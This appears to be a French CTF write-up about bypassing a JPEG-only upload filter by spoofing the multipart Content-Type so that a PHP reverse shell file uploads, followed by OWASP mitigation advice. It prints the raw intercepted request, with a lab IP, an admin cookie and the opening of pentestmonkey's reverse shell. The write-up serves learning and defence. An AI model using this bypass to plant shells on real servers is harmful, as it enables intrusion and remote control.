Image upload filter bypass

EXPLICATIONS

Comme relevé en phase d'énumération (voir ENUMERATION – partie 5), une page de l'application permet d'uploader des images. Comme également relevé lors de l'énumération, il semble que l'on ne puisse uploader que des fichiers de type **JPG / JPEG**. Un filtre doit exister qui empêche l'upload d'autres types de fichiers. On cherche de notre côté à upload un fichier **PHP** contenant une reverse shell.

En fonction du filtre (extensions de fichier, Content-Type...), il existe pas mal de techniques d'évasion (voir ici). Dans notre cas, la première technique qu'on a tenté s'est avéré être la bonne.

On a intercepté la requête, et on a modifié le **Content-Type** de la partie du corps de la requête relative aux données de formulaire :

```
POST /index.php?page=upload HTTP/1.1
Host: 192.168.1.37
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.37/index.php?page=upload
Content-Type: multipart/form-data; boundary=---------------------------661330287161903859578832357 9
Content-Length: 5930
Cookie: I_am_admin=68934a3e9455fa72420237eb05902327
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------661330287161903859578832357 9
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------661330287161903859578832357 9
Content-Disposition: form-data; name="uploaded"; filename="alpasta.php"
Content-Type: image/jpeg

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
```

On a simplement changé `application/x-php` en `image/jpeg`, et l'application nous retourne un **flag**.

Remarquons que le fichier semble avoir bien été uploadé au path `/tmp/alpasta.php`. On aurait pu trigger notre reverse shell si la LFI découverte plus haut fonctionnait vraiment, ce qui ne semble pas être le cas (`../../../../../../../../../../tmp/alpasta.php` ne fonctionne pas).

RESSOURCES

Un script **bash** permet d'envoyer la requête modifiée brute au serveur pour démontrer l'obtention du flag. Attention à bien changer l'URL dans le script **sh**, et dans **raw request**.

MITIGATION

Les recommandations d'OWASP devraient être suivies lorsqu'on implémente un filtre pour les upload de fichiers :

In short, the following principles should be followed to reach a secure file upload implementation:

> List allowed extensions. Only allow safe and critical extensions for business functionality
> Ensure that input validation is applied before validating the extensions.
> Validate the file type, don't trust the Content-Type header as it can be spoofed
> Change the filename to something generated by the application
> Set a filename length limit. Restrict the allowed characters if possible
> Set a file size limit
> Only allow authorized users to upload files
> Store the files on a different server. If that's not possible, store them outside of the webroot
>In the case of public access to the files, use a handler that gets mapped to filenames inside the application (someid -> file.ext)
> Run the file through an antivirus or a sandbox if available to validate that it doesn't contain malicious data
> Ensure that any libraries used are securely configured and kept up to date
> Protect the file upload from CSRF attacks